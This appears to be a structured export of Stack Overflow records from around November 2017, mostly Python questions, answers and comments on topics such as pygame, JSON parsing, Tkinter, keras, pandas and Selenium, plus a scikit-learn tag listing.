has body: This question is asked a lot, but unfortunately I found no answer fitting my problem. If possible, I prefer a generic answer, since I'm a novice trying to learn Python. Thank you in advance. This is the code I got by following a tutorial on the basics of python using the pygame library: import pygame background_colour = (255, 255, 255) (width, height) = (300, 200) class Particle: def __init__(self, x, y, size): self.x = x self.y = y self.size = size self.colour = (0, 0, 255) self.thickness = 1 screen = pygame.display.set_mode((width, height)) def display(self): pygame.draw.circle(screen, self.colour, (self.x, self.y), self.size, self.thickness) pygame.display.set_caption('Agar') screen.fill(background_colour) pygame.display.flip() running = True my_first_particle = Particle(150, 50, 15) my_first_particle.display() while running: for event in pygame.event.get(): if event.type == pygame.QUIT: running = False It is used to create a window for gaming, with a circle in it. The circle is defined as a class to be used multiple times in a similar way later on. I got the following error: Traceback (most recent call last): File "C:/Users/20172542/PycharmProjects/agarTryout/Agar.py", line 29, in &lt;module&gt; my_first_particle.display() AttributeError: 'Particle' object has no attribute 'display' What principle am I not understanding, and what is the specific solution for this error? Thank you for your time and effort.
tagged with: attributes
favorite count: 0
has answer: http://stackoverflow.com/a/47360683
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/81674058
answer count: 2
tagged with: attributeerror
accepted answer: http://stackoverflow.com/a/47360659
tagged with: python
possible better answer: http://stackoverflow.com/a/47360683
has answer: http://stackoverflow.com/a/47360659
type: AnsweredQuestion
has title: Python - AttributeError: 'Particle' object has no attribute 'display'
score: 1

http://stackoverflow.com/comment/81711533
type: AnswerComment
has text: you have D, VA and T ok you could put 1, but j and kt are you independient variable, and you didn´t use the optimize function.
score: 0
comment on: http://stackoverflow.com/a/47379631
type: Comment

http://stackoverflow.com/q/47370475
has comment: http://stackoverflow.com/comment/81693508
type: UnansweredQuestion
downvote count: 2
answer count: 1
upvote count: 1
has body: I have a JSON file with the following details: { "Name":"TESTING", "Place":"India", "Path":"Road", "Details": [ { "city":"", "landmark":"aaabbbcccc", "pin":"500001" }, { "city":"", "landmark":"aaabbbcccc", "pin":"500001" }, { "city":"", "landmark":"xxxyyyzzzz", "pin":"510009" } ] } I want to parse the above json file and fetch the Name, Place, Path and store them into variables and then fetch city, landmark and pin and store them into arrays. How can i do this in Python. I've tried searching but all I could find is just reading the json file but not parsing it this way. My Python code for reading the json: import glob, os, json from pprint import pprint jsonfile = "testing.json" with open('C:/Users/dev/Desktop/JSONSTest/'+jsonfile) as data_file: data = json.load(data_file) pprint(data)
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81693824
has answer: http://stackoverflow.com/a/47370583
has comment: http://stackoverflow.com/comment/81693796
has comment: http://stackoverflow.com/comment/81693534
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81693554
has comment: http://stackoverflow.com/comment/81693600
tagged with: python
linked to: http://stackoverflow.com/q/7771011
score: -1
has title: Parse JSON file using Python and save the values into variables and arrays
tagged with: parsing
has comment: http://stackoverflow.com/comment/81693666
has comment: http://stackoverflow.com/comment/81693476

http://stackoverflow.com/comment/81462471
comment on: http://stackoverflow.com/a/47251266
type: Comment
has text: Only 10 followers are visible not mean the pop-up not load all followers when the pop-up come out. you can open your page in chrome and open devtool, then in element tab try li._6e4x5, if find more than 10 elements, my guess is correct, so you no need to scroll down. I'm not sure how did the web developer implement the follower list, if developer make the code to load followers dynamically when user moving the scroll bar, in this case you need to scroll down. But i guess developer not implement as that.
score: 0
type: AnswerComment

http://stackoverflow.com/q/47288263
has title: Trouble stopping a timer program in Python and Tkinter
tagged with: python
type: Question
has body: I have this timer program in python with a Tkinter GUI. I am able to run the timer user inputs, but I am having trouble pausing or stopping the timer from a tkinter button. I tried creating a variable that changes when the stop button press to initiate time.sleep() in my if statement, but no luck. Any ideas? from tkinter import Tk, Label, StringVar from tkinter.ttk import Button, Entry class Timer: def __init__(self, master): self.seconds = 0 self.f = False self.time = StringVar() self.time_label = Label(master, relief='flat', font=("Cambria", 20), textvariable=self.time) self.hr = StringVar() self.hr_label = Label(master, text='Hours:').grid(row=1, column=1, padx=5, pady=1) self.entry_hr = Entry(master, textvariable=self.hr, width=4) self.entry_hr.grid(row=1, column=2) self.mins = StringVar() self.min_label = Label(master, text='Minutes:').grid(row=2, column=1, padx=5, pady=1) self.entry_min = Entry(master, textvariable=self.mins, width=4) self.entry_min.grid(row=2, column=2) self.secs = StringVar() self.secs_label = Label(master, text='Seconds:').grid(row=3, column=1, padx=5, pady=1) self.entry_sec = Entry(master, textvariable=self.secs, width=4) self.entry_sec.grid(row=3, column=2) self.time.set('00:00:00') self.start_button = Button(master, text='Start') self.start_button.bind('&lt;Button-1&gt;', self.start_countdown) self.stop_button = Button(master, text='Stop') self.time_label.grid(row=0, columnspan=4, padx=30, pady=10) self.start_button.grid(row=4, columnspan=4, pady=(10,20)) self.stop_button.grid(row=5, columnspan=4, pady=(10,20)) def set_time(self, hours, minutes, seconds): self.seconds = hours * 3600 + minutes * 60 + seconds self.time.set(self.format_time(self.seconds)) def start_countdown(self, event): f = False h = self.entry_hr.get() m = self.entry_min.get() s = self.entry_sec.get() h,m,s = map(lambda x: int(x) if x else 0, (h,m,s)) self.set_time(h,m,s) self.countdown() def stop(self): global f f= True def countdown(self): if self.seconds &lt;= 0: retu…
tagged with: tkinter
type: UnansweredQuestion
score: 0
answer count: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47288441
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/47366403
tagged with: loops
has answer: http://stackoverflow.com/a/47366635
favorite count: 0
tagged with: for-loop
has title: making group and list in python
type: Question
upvote count: 2
answer count: 2
downvote count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/47366692
tagged with: list
has answer: http://stackoverflow.com/a/47366692
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/47366635
linked to: http://stackoverflow.com/q/3833589
has body: I have a list like this. last_1=[['3', '3', '2', 'F', '2', 'C', '2', 'D', '2', 'A', '2', '8', '7', 'C', '3', 'B', '2', 'E', '2', 'E', '3', '3', '3', '4', '3', '3', '3', '0', '3', 'B', '2', '8', '3', '3', '2', 'D', '2', 'E'], ['2', 'C', '2', 'A', '3', '3', '2', 'E', '2', '8', '7', '4', '7', 'A', '5', '3', '7', 'C', '3', '9', '2', 'D', '2', 'F', '2', 'F', '3', 'B', '2', 'E', '3', '8', '7', 'C', '2', '3', '2', 'D', '2', '7', '7', 'C', '2', '8', '2', 'D', '7', 'C', '2', '8', '3', '7', '2', 'A', '2', 'F', '3', '3', '2', 'E', '3', 'B', '2', '8', '3', '7', '7', 'C', '2', '3', '2', 'D', '2', '7', '2', 'A', '7', 'C', '3', '4', '2', '7', '2', 'F', '3', 'B', '2', 'E', '7', 'A', '7', '3'], ['3', '8', '3', '7', '3', '6', '7', 'C', '3', '1', '3', '3', '3', '0', '3', '0', '7', '4', '3', 'B', '2', 'A', '3', '5', '7', '3', '6', '2'], ['7', 'C', '7', 'C', '7', 'C', '7', 'C', '2', 'A', '3', '7', '2', '8', '2', '7', '2', 'A', '2', 'E', '7', 'C', '3', 'B', '2', 'A', '3', '5', '7', 'C', '7', '1', '7', 'C', '7', 'A', '7', 'C', '5', '1', '3', '3', '3', '0', '3', '0', '7', 'C', '3', '7', '2', '4', '3', '7', '3', '9', '2', '7', '2', '8', '3', '7', '3', '8', '7', 'A'], ['3', '1', '3', '3', '3', '0', '3', '0', '7', '4', '7', 'A', '3', '4', '3', '7', '3', '0', '3', '0', '2', 'D', '7', 'A', '7', '3']] And if you consider that last_1 is a list which have 5 elements. I just want to make group of them with protect of 5 elements. I mean I want to get an output like this: &gt; output_hexa=[['33','2F','2C',...,'2E'],['2C','2A','33','2E',...,'73'],[....],[...],[...]] I keep short output because of its length. By the way, this output_hexa list can change. So, its length might be more than 5 or less than 5. And I have tried something above. What's my wrong? Can you say me? output_hexa=[] hexa_output=[] b=0 indis_one=0 indis_two=1 for i in range(len(last_1)): for x in last_1: for j in range((len(x))//2): if len(output_hexa)-1*(2)==j: indis_one=0 indis_two=1 hexa_output.extend(output_hexa) output_hexa=[] b…

http://stackoverflow.com/comment/81409113
score: 0
has text: Can you think of a brute-force way of solving this?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47229235

http://stackoverflow.com/q/47263006
type: UnansweredQuestion
downvote count: 0
answer count: 1
has title: keras backend theano/tensorflow
upvote count: 1
tagged with: python
tagged with: keras
has body: I have an issue using keras backend. I set up tensorflow as the backend. I check the ./keras/keras.json, the activate.d and activate.sh to have tensorflow as backend. I also tried to force the envs variable to tensorflow. The first time a run keras on the jupyter, it works fine. I can also import tensorflow without any bugs. However when I use jupyter notebook now, the backend is theano. I try to import keras on ipython and the backend is tensorflow. I install keras, tensorflow and theano with conda. python version : 3.6 keras : 2.0.6 tensorflow : 1.3.0 theano : 0.9 OS : win10 I try different ways to change the backend to tensorflow for jupyter notebook but it does not seem to work.
favorite count: 0
has comment: http://stackoverflow.com/comment/81477859
has answer: http://stackoverflow.com/a/47263840
has comment: http://stackoverflow.com/comment/81481431
has comment: http://stackoverflow.com/comment/81480664
score: 1
tagged with: tensorflow
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81481686
has comment: http://stackoverflow.com/comment/81480724
linked to: http://stackoverflow.com/q/20081338

http://stackoverflow.com/comment/81608570
has text: @Reti43, my bad ! Ill post it :)
comment on: http://stackoverflow.com/q/47328647
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47338547
has comment: http://stackoverflow.com/comment/81629303
tagged with: python
has comment: http://stackoverflow.com/comment/81629432
has comment: http://stackoverflow.com/comment/81629644
upvote count: 4
has comment: http://stackoverflow.com/comment/89046022
linked to: http://stackoverflow.com/q/39522787
has comment: http://stackoverflow.com/comment/81629270
has comment: http://stackoverflow.com/comment/81629381
has comment: http://stackoverflow.com/comment/81629595
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81629340
has comment: http://stackoverflow.com/comment/81629493
has answer: http://stackoverflow.com/a/47340017
has comment: http://stackoverflow.com/comment/81629384
accepted answer: http://stackoverflow.com/a/47340017
has title: What is the time complexity of iterating through a deque in Python?
has comment: http://stackoverflow.com/comment/81629530
has comment: http://stackoverflow.com/comment/81629670
tagged with: python-collections
has body: What is the time complexity of iterating, or more precisely each iteration through a deque from the collections library in Python? An example is this: elements = deque([1,2,3,4]) for element in elements: print(element) Is each iteration a constant O(1) operation? or does it do a linear O(n) operation to get to the element in each iteration? There are many resources online for time complexity with all of the other deque methods like appendleft, append, popleft, pop. There doesn't seem to be any time complexity information about the iteration of a deque. Thanks!
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81629426
has comment: http://stackoverflow.com/comment/89037867
has comment: http://stackoverflow.com/comment/81629576
has comment: http://stackoverflow.com/comment/81632755
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81629410
score: 3
has comment: http://stackoverflow.com/comment/81629409
has comment: http://stackoverflow.com/comment/81629311
has comment: http://stackoverflow.com/comment/81633786
has comment: http://stackoverflow.com/comment/81629453
has comment: http://stackoverflow.com/comment/81629488
has comment: http://stackoverflow.com/comment/81629258

http://stackoverflow.com/a/47309516
score: 5
downvote count: 0
has body: While not exactly a workers restriction, it is possible to use the resources concept to put a global limit on concurrent execution. In luigi.cfg [resources] max_workers=5 In all of your tasks: class MyFooReplacer(sciluigi.Task): resources = {'max_workers': 1} http://luigi.readthedocs.io/en/stable/configuration.html#resources
has comment: http://stackoverflow.com/comment/96466964
upvote count: 5
answers question: http://stackoverflow.com/q/47289696
has comment: http://stackoverflow.com/comment/135463142
type: Answer
has comment: http://stackoverflow.com/comment/81615502
has comment: http://stackoverflow.com/comment/135445076

http://stackoverflow.com/q/47309595
tagged with: conv-neural-network
tagged with: deep-learning
has comment: http://stackoverflow.com/comment/81609778
score: 1
has title: 3D U-net - python metrics / loss function / accuracy seems innapropriate
favorite count: 0
type: Question
tagged with: image-segmentation
answer count: 0
has comment: http://stackoverflow.com/comment/81577963
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81627164
tagged with: keras
has body: I am trying to transpose a pre-build 3D U-net in python (keras) for my brain dataset in python (https://github.com/ncullen93/Unet-ants, not mine). My dataset is composed of small tumors (150 - 1500 voxels) regarding to the whole brain volume but with high tumors to background ratio (~3). I also dispose of a manual segmentation volume (with 0 for extra tumoral and 1 for voxels' tumor). 18F-FET PET image and segmentation Code is perfectly working (I use categorical_crossentropy as loss function) but there is a disrepency between the high accuracy cf after 100 epoch : loss: 0.0356 - acc: 0.9848 - categorical_crossentropy: 0.0356 - val_loss: 0.0399 - val_acc: 0.9825 - val_categorical_crossentropy: 0.0399 and segmentation results as it always predict 0 (which is in accordance with the wide majority of voxels but is of no interest). I don't know where or how I should start to improve those results. I allready have tried to change size of batch, number of filter, convolutional &amp; deconvolutional kernel size, and learning rate without any significant improvements. Thanks for your help. Best regards Paul

http://stackoverflow.com/q/47350570
tagged with: python
tagged with: python-3.6
type: AnsweredQuestion
upvote count: 3
downvote count: 0
accepted answer: http://stackoverflow.com/a/47371248
answer count: 1
has body: With Python 3, type hinting allows for third party tools like mypy to check types; however, I find the type checking syntax to be a bit ugly alongside program comments. With mypy it's possible to put stub functions and methods into separate .pyi files in the same directory as the .py files. Is it possible to define all type related syntax in the equivalent .pyi file for a .py file? So, for example, you could be able to define variable, method, return types, etc. in the .pyi file with all the type syntax, but leave the main .py code alone?
favorite count: 0
type: Question
tagged with: mypy
score: 3
tagged with: typechecking
has answer: http://stackoverflow.com/a/47371248
has title: Is it possible to separate all type hinting / checking infrastructure in Python into .pyi files?
has comment: http://stackoverflow.com/comment/112774910

http://stackoverflow.com/q/47297146
answer count: 2
has title: openCV3: Not getting the expected output on morphologically transforming an image in opencv
has body: I am trying to do top hat morphological transformation to an image but not getting the expected output for some reason. # Top Hat: difference between input image and opening kernel = np.ones((5,5),np.float32)/25 tophat = cv2.morphologyEx(img, cv2.MORPH_TOPHAT, kernel) plt.subplot(121),plt.imshow(img, cmap='gray'),plt.title('Original') plt.xticks([]), plt.yticks([]) plt.subplot(122),plt.imshow(tophat, cmap='gray'),plt.title('Top Hat') plt.xticks([]), plt.yticks([]) plt.show() What is expected What I am getting EDIT: Added the kernel.
tagged with: python
tagged with: opencv3.3
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/81546470
has comment: http://stackoverflow.com/comment/81546712
has comment: http://stackoverflow.com/comment/81546849
tagged with: opencv
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81546822
linked to: http://stackoverflow.com/q/45070004
has answer: http://stackoverflow.com/a/47298046
possible better answer: http://stackoverflow.com/a/47298046
has answer: http://stackoverflow.com/a/47298082
type: Question
accepted answer: http://stackoverflow.com/a/47298082

http://stackoverflow.com/comment/81642659
type: AnswerComment
score: 0
has text: this will set random_sx the same for each eleement in rock. if you want different values or setting more things, use a `for myRock in rock:` loop and do whatever you need to do to `myRock` (tickle it, rotate it, dust it, ...). I did not use maya yet, operating on general python knowledge.
comment on: http://stackoverflow.com/a/47344872
type: Comment

http://stackoverflow.com/comment/105169978
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47308443
type: AnswerComment
has text: @AyiF - Itis shorcuts for `df = df.groupby(level=0, axis=1).max()` is same like `df = df.max (level = 0, axis = 1)`

http://stackoverflow.com/a/73433716
downvote count: 0
has body: There are three approaches: Using runas as shown in this answer. The downside of this approach is that it uses the Administrator account instead of the current user's Administrator privileges. This does not work well if you plan to deploy your software to users. Use ShellExecute as discussed in this question to start your subprocess. The downside is that you won't be able to work with stdin/stdout/stderr. Use JetBrains' WinElevator (signed launcher.exe and elevator.exe are available here). The downside of this approach is that you need to ship two additional ~150kb binaries, the upside is that you can interact with stdin/stdout/stderr.
type: Answer
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/47380378

http://stackoverflow.com/comment/81634035
type: AnswerComment
has text: you can, but by opening it in the function, it makes it redundant to have a local `(dic)` variable defined by the function, since you redefine it anyway.
type: Comment
comment on: http://stackoverflow.com/a/47340809
score: 0

http://stackoverflow.com/comment/81708591
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47378183
has text: @jadsq Maybe OP wants the loop to wait (run as he understands it) on user input.
type: Comment

http://stackoverflow.com/a/47298224
downvote count: 0
upvote count: 1
score: 1
type: Answer
has body: Why not just: def html(content): # Also allows you to set your own etc return ' custom head stuff here ' + content + ' ' @app.route('/incorrect_pass') def incorrect_pass(): return html('Incorrect password. Go back?') # OR return 'Incorrect password. Go back?
answers question: http://stackoverflow.com/q/47298146

http://stackoverflow.com/comment/81678997
type: AnswerComment
has text: It is just some practice for my CSC class! I have been trying over and over for hours each day to try and figure it out myself and I just couldn't! Thanks for the help!
type: Comment
comment on: http://stackoverflow.com/a/47362995
score: 0

http://stackoverflow.com/q/47339812
has comment: http://stackoverflow.com/comment/81633482
has body: I'm trying to create a tumor image classifier by retraining Inception V3 on Docker. When I run the Python script, the images in my class subfolders are not detected. All images are in png format. This is the code and error: root@c47d0d562199:/classifier# python retrain.py bottlenecks_dir=bottlenecks --how_many_steps=4000 --model_dir=inception --summaries_dir=training_summaries/long --output_graph=retrained_graph.pb --output_labels=retrained_labels.txt --image_dir=Images 2017-11-16 21:26:20.099812: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations. 2017-11-16 21:26:20.099898: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.2 instructions, but these are available on your machine and could speed up CPU computations. 2017-11-16 21:26:20.099912: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use AVX instructions, but these are available on your machine and could speed up CPU computations. Looking for images in 'Bening_Phyllodes_Tumor' No files found Looking for images in 'Benign_Tubular_Adenoma' No files found Looking for images in 'Malignant_Ductal_Carcinoma' No files found Looking for images in 'Malignant_Lobular_Carcinoma' No files found Looking for images in 'Malignant_Papillary_Carcinoma' No files found Looking for images in 'Bening_Fibroadenoma' No files found Looking for images in 'Malignant_Mucinous_Carcinoma' No files found Looking for images in 'Bening_Adenosis' No files found No valid folders of images found at Images It seems like there is some issue with the image formatting since the subfolders are detectable and have been read. Does Inception V3 only read .jpg? My images are in png format.
tagged with: docker
linked to: http://stackoverflow.com/q/34484148
score: 0
has comment: http://stackoverflow.com/comment/81633978
answer count: 0
has comment: http://stackoverflow.com/comment/81633753
has comment: http://stackoverflow.com/comment/81634007
tagged with: tensorflow
type: Question
has comment: http://stackoverflow.com/comment/81804288
type: UnansweredQuestion
has title: Tensorflow Inception V3 Training Error
tagged with: python
has comment: http://stackoverflow.com/comment/93211038

http://stackoverflow.com/a/47283916
answers question: http://stackoverflow.com/q/47282917
has comment: http://stackoverflow.com/comment/81519358
has comment: http://stackoverflow.com/comment/81519077
type: Answer
has body: The conversion from ADC value to temp will most likely depend on what type of temperature sensor you are using. I recommend looking a the datasheet of your temp sensor. If you are using a 'TMP36', you can convert using this formula: Centigrade temperature = [(analog voltage in mV) - 500] / 10 Source: https://learn.adafruit.com/tmp36-temperature-sensor/using-a-temp-sensor If you a using a thermocouple, you'll need to look at the table of correspondance for the type you are using (e.g. type K: https://www.omega.fr/temperature/Z/pdf/z204-206.pdf)
score: 0
has comment: http://stackoverflow.com/comment/81519511
has comment: http://stackoverflow.com/comment/81518827

http://stackoverflow.com/q/47344959
has comment: http://stackoverflow.com/comment/81641868
has title: Optimizing code mimiking sklearn kNN algorithm
answer count: 1
has body: I have written a script performing kNN classification using home-made functions. I have compared its performance against a similar script but using sklearn package. Results : House-Made ~ 20 seconds sklearn ~ 2 seconds So now I would like to know if the performance difference is mainly due to the fact that sklearn is executed at a lower level (in C as far as I understand) or because my script is not efficient. If some of you got references providing information for writing efficient Python scripts and programs, I am all aware Here is the data file : DataFile filename, os.environ['R_HOME'], os.environ['R_USER'] in both scripts must be made user-specific according to your directory structure My code using home-made kNN classification #Start Timer import time tic = time.time() # Begin Script import os os.environ['R_HOME'] = r'C:\Users\MyUser\Documents\R\R-3.4.1' #setting temporary PATH variables : R_HOME #a permanent solution could be achieved but more complicated os.environ['R_USER'] = r'C:\Users\MyUser\AppData\Local\Programs\Python\Python36\Lib\site-packages\rpy2' #same story import rpy2.robjects as robjects import numpy as np import matplotlib.pyplot as plt ## Read R data from ESLII book dir = os.path.dirname(__file__) filename = os.path.join(dir, '../ESL.mixture.rda') robjects.r['load'](filename) #load rda file in R workspace rObject = robjects.r['ESL.mixture'] #read variable in R workspace and save it into python workspace #Extract Blue and Orange classes data classes = np.array(rObject[0]) #note that information about rObject are known by outputing the object into the console #numpy is able to convert R data natively BLUE = classes[0:100,:] BLUE = np.concatenate((BLUE,np.zeros(np.size(BLUE,axis=0))[:,None]),axis=1) #the [:,None] is necessary to make the 1D array 2D. #Indeed concatenate requires identical dimensions #other functions exist such as np.columns_stack but they take more time to execute than basic concatenate ORANGE = classes[100:200] ORANGE = np.concat…
accepted answer: http://stackoverflow.com/a/47380651
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/81642001
has answer: http://stackoverflow.com/a/47380651
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81656006
has comment: http://stackoverflow.com/comment/81656054
tagged with: python
type: Question

http://stackoverflow.com/comment/82422531
type: Comment
type: QuestionComment
has text: @TarunLalwani Don't know what you mean by the DB file either.
score: 0
comment on: http://stackoverflow.com/q/47369811

http://stackoverflow.com/comment/81519768
comment on: http://stackoverflow.com/q/47284299
has text: Try `re.findall(r'(?:[^\W\d]|\s)+', s, re.UNICODE)`
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47340265
has comment: http://stackoverflow.com/comment/81636169
has comment: http://stackoverflow.com/comment/81675264
type: Answer
answers question: http://stackoverflow.com/q/47339991
score: 2
type: AcceptedAnswer
downvote count: 0
has body: Just read each row and write out two rows with the appropriate fields: import csv with open('input.csv','r',newline='') as infile: with open('output.csv','w',newline='') as outfile: r = csv.reader(infile,delimiter=';') w = csv.writer(outfile,delimiter=';') next(r) # skip the original header w.writerow('ID Field Sent Points'.split()) for id,t1,p1,t2,p2 in r: w.writerows([[id,'Text_1',t1,p1], [id,'Text_2',t2,p2]]) Output: ID;Field;Sent;Points 1;Text_1;Hello world one;33 1;Text_2;Hello world two;90 2;Text_1;Goodbye world one;44 2;Text_2;Goodbye world two;100 Note: Quotes are unnecessary for the .csv module unless the field contains a delimiter. There are other options to csv.writer for quoting if you want them.
has comment: http://stackoverflow.com/comment/81633301
accepted answer of: http://stackoverflow.com/q/47339991
upvote count: 2

http://stackoverflow.com/a/47261065
type: Answer
score: 5
type: AcceptedAnswer
upvote count: 5
accepted answer of: http://stackoverflow.com/q/47260953
downvote count: 0
has body: If you insist: def StairCase(n): for i in range(1, n + 1): stair_array = [] j = 1 while (j &lt;= n): if (j &lt;= i): stair_array.append('#') else: stair_array.append(' ') j = j + 1 reversed_array = list(reversed(stair_array)) print ''.join(reversed_array) but a much simpler way is to just: def StairCase_new(n): for i in range(1, n + 1): print ' '*(n-i) + '#'*i
answers question: http://stackoverflow.com/q/47260953

http://stackoverflow.com/comment/81682806
type: QuestionComment
score: 0
has text: Shouting here ;-) You may want to read [mcve] and [How to make good reproducible pandas examples](https://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples). You wouln't usually ask people here to download a 50Mb file to reproduce your issue. Instead, generate the data inside your code.
comment on: http://stackoverflow.com/q/47355526
type: Comment

http://stackoverflow.com/a/47227883
downvote count: 0
answers question: http://stackoverflow.com/q/47227654
score: 3
accepted answer of: http://stackoverflow.com/q/47227654
upvote count: 3
type: Answer
has body: This is Python issue 15606. re's behavior with whitespace inside a token in verbose mode doesn't match the documentation. You can't put whitespace in the middle of (?=.
type: AcceptedAnswer

http://stackoverflow.com/a/60217174
has body: Please read How to print out from Jupyter Notebook without code blocks. Basically you need to add CSS. If you want to print out with code use @media print{}. If you want it on the screen, you need to take it out and just run it. Paste the following in a cell and run it. Then print it out from a browser File > Print. All codes and output blocks should be gone. You can modify CSS as you like. You can create a template and use it as the base so that you do not need to paste the codes in a cell. %%html &lt;style&gt; @media print { div.input { display: none; padding: 0; } div.output_prompt { display: none; padding: 0; } div.text_cell_render { padding: 1pt; } div#notebook p, div#notebook, div#notebook li, p { font-size: 11pt; line-height: 135%; margin: 0; } .rendered_html h1, .rendered_html h1:first-child { font-size: 16pt; margin: 7pt 0; } .rendered_html h2, .rendered_html h2:first-child { font-size: 14pt; margin: 6pt 0; } .rendered_html h3, .rendered_html h3:first-child { font-size: 13pt; margin: 6pt 0; } div.output_subarea { padding: 0; } } @page { size: A4; } &lt;/style&gt;
type: Answer
answers question: http://stackoverflow.com/q/47255288
score: 0

http://stackoverflow.com/comment/81552637
comment on: http://stackoverflow.com/q/47278176
type: Comment
type: QuestionComment
score: 0
has text: Apologies. I misread your question. Perhaps this question can help: https://stackoverflow.com/questions/8470733/how-can-i-handle-static-files-with-python-webapp2-in-heroku

http://stackoverflow.com/q/47351326
has body: How can I do something like this? query_string = "parameter_1 LIKE '%text%' | parameter_2 LIKE '%text2%'" raw_data.query(query_string )
has answer: http://stackoverflow.com/a/50981027
score: 2
has comment: http://stackoverflow.com/comment/81654862
upvote count: 2
has comment: http://stackoverflow.com/comment/81657053
tagged with: pandas
linked to: http://stackoverflow.com/q/31391275
has title: Pandas DataFrame query LIKE operator
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/47316810
has body: I have a script that's accessing printers, and my code works totally fine when chrome is run normally, but when it's run headless, selenium can't seem to find elements on the webpage. Here's the relevant code: init method: def __init__(self, ip_address): """ Initialize a new Printer_Webpage object.""" self.ip_address = ip_address chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.add_argument("--disable-gpu") chrome_options.add_argument("--window-size=1920x1080") self.browser = webdriver.Chrome(chrome_options=chrome_options) # Ignore lack of cert for each printer web page. # Otherwise, can't open page. self.browser.accept_untrusted_certs = True Login method: def login(self): """Navigates through the login page for the printer.""" # Open login page self.browser.get(f'https://{self.ip_address}/wcd/top.xml') # STEPS TO LOGIN: # 1) Select 'Administrator' radio button and click. self.browser.find_element_by_id('Admin').click() # 2) Select Login button and click. self.browser.find_element_by_xpath("//input[@type='submit' \ and @value='Login']").click() # 3) Select admin (user mode) self.browser.find_element_by_id('R_ADM2').click() # 4) Select password field and input PASSWORD, then submit. password_field = self.browser.find_element_by_id('Admin_Pass') password_field.send_keys(PASSWORD) password_field.send_keys(Keys.RETURN) Full error message: selenium.common.exceptions.NoSuchElementException: Message: no such element: Unable to locate element: {"method":"id","selector":"Admin"} And here's some other info that might be of use: (Session info: headless chrome=62.0.3202.94) (Driver info: chromedriver=2.33.506120 (e3e53437346286c0bc2d2dc9aa4915ba81d9023f),platform=Windows NT 10.0.14393 x86_64)
tagged with: google-chrome
has answer: http://stackoverflow.com/a/56074474
possible better answer: http://stackoverflow.com/a/56074474
tagged with: google-chrome-headless
has answer: http://stackoverflow.com/a/47355504
favorite count: 0
has answer: http://stackoverflow.com/a/63857908
has comment: http://stackoverflow.com/comment/81589483
type: Question
has comment: http://stackoverflow.com/comment/81590349
answer count: 9
has comment: http://stackoverflow.com/comment/81586682
has comment: http://stackoverflow.com/comment/81584674
has answer: http://stackoverflow.com/a/63049009
accepted answer: http://stackoverflow.com/a/63049009
has answer: http://stackoverflow.com/a/77081435
has title: Unable to locate elements on webpage with headless chrome
has comment: http://stackoverflow.com/comment/81584657
has answer: http://stackoverflow.com/a/50163446
tagged with: python
score: 22
upvote count: 22
has answer: http://stackoverflow.com/a/55284973
tagged with: selenium-chromedriver
has answer: http://stackoverflow.com/a/70348904
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/70003944
downvote count: 0
linked to: http://stackoverflow.com/q/64311719
tagged with: selenium

scikit-learn
tags question: http://stackoverflow.com/q/47321133
tags question: http://stackoverflow.com/q/47301261
tags question: http://stackoverflow.com/q/47228045
tags question: http://stackoverflow.com/q/47321709
tags question: http://stackoverflow.com/q/47309376
tags question: http://stackoverflow.com/q/47227877
tags question: http://stackoverflow.com/q/47367466
tag name: scikit-learn
tags question: http://stackoverflow.com/q/47360178
tags question: http://stackoverflow.com/q/47290325
tags question: http://stackoverflow.com/q/47296161
tags question: http://stackoverflow.com/q/47243202
tags question: http://stackoverflow.com/q/47356433
tags question: http://stackoverflow.com/q/47279677
tags question: http://stackoverflow.com/q/47343142
tags question: http://stackoverflow.com/q/47224237
type: Tag
tags question: http://stackoverflow.com/q/47344959
tags question: http://stackoverflow.com/q/47264597
tags question: http://stackoverflow.com/q/47270934
tags question: http://stackoverflow.com/q/47236171
tags question: http://stackoverflow.com/q/47312432
tags question: http://stackoverflow.com/q/47322937
tags question: http://stackoverflow.com/q/47291025
tags question: http://stackoverflow.com/q/47251594
tags question: http://stackoverflow.com/q/47359375
tags question: http://stackoverflow.com/q/47312695
tags question: http://stackoverflow.com/q/47361468
tags question: http://stackoverflow.com/q/47298491
tags question: http://stackoverflow.com/q/47361513
tags question: http://stackoverflow.com/q/47317567
tags question: http://stackoverflow.com/q/47262550
tags question: http://stackoverflow.com/q/47254987
tags question: http://stackoverflow.com/q/47374552
tags question: http://stackoverflow.com/q/47250472
tags question: http://stackoverflow.com/q/47342494
tags question: http://stackoverflow.com/q/47273152
tags question: http://stackoverflow.com/q/47370795
tags question: http://stackoverflow.com/q/47334524
tags question: http://stackoverflow.com/q/47376729
tags question: http://stackoverflow.com/q/47381253
tags question: http://stackoverflow.com/q/47356816
tags question: http://stackoverflow.com/q/47341320
